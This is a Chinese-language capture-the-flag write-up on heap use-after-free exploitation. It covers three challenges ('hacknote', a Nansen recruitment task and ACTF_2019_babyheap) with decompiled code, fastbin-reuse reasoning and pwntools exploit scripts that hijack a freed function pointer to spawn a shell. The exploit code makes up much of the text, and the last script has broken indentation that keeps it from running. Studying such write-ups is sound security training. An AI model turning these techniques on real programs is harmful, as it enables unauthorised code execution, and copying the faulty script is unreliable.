UAF漏洞利用
2023-3-6 08:43:0 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

原理

内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果

程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {          //结构体
  void (*printnote)();
  char *content;
};

struct note *notelist[5]; //结构体变量
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk


这里content内容存放的一个指针

uaf漏洞


free的是两个chunk,没有把两个指针free掉

存在后门函数

利用方式

1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)


2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可

3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1

从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)

链表的结构


5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。

6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

exp模板

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "bbbb") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

南森招新赛-baozi

checksec

ida

从里面并没有找到定义的结构体,这也是正常现象
因为ida不能够还原所有代码
这样的话,在做堆题时,对C语言的要求就不是这么高了,通过调试或者经验就能得知chunk的结构
但如果想清晰地理解一个堆题还是需要加深对源码的理解

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-10h] BYREF
  unsigned int v5; // [esp+4h] [ebp-Ch]
  int *v6; // [esp+8h] [ebp-8h]

  v6 = &argc;
  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    menu();           //菜单
    read(0, buf, 4u);
    v3 = atoi(buf);
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          print_note(); //print chunk
          break;
        case 1:
          add_note();  //malloc chunk
          break;
        case 2:
          del_note();  //free chunk
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

具体的函数都是知道的

add(add+edit)

unsigned int add_note()
{
  int v0; // esi
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )    //申请次数
    {
      if ( !*((_DWORD *)&notelist + i) )
      {
        *((_DWORD *)&notelist + i) = malloc(8u);
          //malloc chunk
        if ( !*((_DWORD *)&notelist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **((_DWORD **)&notelist + i) = print_note_content; //chunk中content处的内容(free后fd指针的地址) 这里是

        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *((_DWORD *)&notelist + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        //等同于*(*&notelist + i + 4 )=malloc(size)
        //在content的第二单位内存的指针中申请chunk(相当于在free后的bk指针的地址处申请chunk)
          if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

delete

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*(*(&notelist + v1) + 4));
    //free掉镶嵌的chunk
    free(*(&notelist + v1));
    //free掉chunk
    //没有free掉指针,所以存在uaf
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

print

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (**(&notelist + v1))(*(&notelist + v1));
    //print_note_content()函数=puts(*(*(&notelist + v1) + 4))-->这里相当于fd位置为print_note_content函数,bk指针处为参数
    //从add里面可以找出来
    //**(&notelist + i) = print_note_content;
    /*int __cdecl print_note_content(int a1){
  return puts(*(a1 + 4));}*/ 
  return __readgsdword(0x14u) ^ v3;
}

print_note_content

int __cdecl print_note_content(int a1)
{
  return puts(*(a1 + 4));
}

exp

from pwn import *

#p=remote("47.99.93.110",10001)
p=process('./pwn')
elf=ELF('./pwn')
context.log_level="debug"

def duan():
    gdb.attach(p)
    pause(0)

def add(size,content):
    p.recvuntil("Your choice :")
    p.sendline("1")
    p.recvuntil("Note size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.recvuntil("Your choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))

def show(index):
    p.recvuntil("Your choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))

bin_sh=0x602010
system=0x8049684
print(hex(system))
add(0x20,"aaaa")#0
add(0x20,"bbbb")#1

#duan()
delete(1)
delete(0)
duan()

add(0x8,p32(system) + p32(system)) 
#duan()
show(1)

p.interactive()

ACTF_2019_babyheap

ida

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400907(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009D2();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      sub_400BAE();
    }
    if ( v3 == 3 )
    {
      sub_400C66();
    }
    else
    {
      if ( v3 != 1 )
        sub_400D18();
      sub_400A78();
    }
  }
}

修改后的ida

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400907(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      delete();
    }
    if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 != 1 )
        exit_0();
      add();
    }
  }
}

show

unsigned __int64 sub_400C66()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Please input list index: ");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < dword_60204C )
  {
    if ( *(&ptr + v1) )
      (*(*(&ptr + v1) + 1))(**(&ptr + v1));
      //这里是执行函数,不过参数在函数体的前面
      //也就是fd指针处为参数,bk指针处为函数体
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

exp

from pwn import *
io=process('./pwn')
elf=ELF('./pwn')

context(os='linux',arch='amd64',log_level='debug')

def duan():
    gdb.attach(io)
    pause(0)

def add(size,content):
    io.recvuntil('Your choice: ')
    io.sendline(b'1')
    io.recvuntil(b'Please input size: \n')
    io.sendline(str(size))
    io.recvuntil('Please input content: \n')
    #io.sendline(content)   
    io.send(content)

def delete(index):
    io.recvuntil('Your choice: ')
        io.sendline(b'2')
    io.recvuntil('Please input list index: \n')
    io.sendline(str(index))

def show(index):
        io.recvuntil('Your choice: ')
        io.sendline(b'3')
    io.recvuntil('Please input list index: \n')
    io.sendline(str(index))

system=elf.plt['system']
#system=0x400A48
bin_sh=0x602010

add(0x20,"aaaa")#0
add(0x20,"bbbb")#1
#add(0x20,"cccc")

delete(1)
delete(0)

add(0x10,p64(bin_sh)+p64(system))
#add(0x10,p64(system)+p64(bin_sh))

show(1)

io.interactive()

文章来源: https://xz.aliyun.com/t/12261
如有侵权请联系:admin#unsafe.sh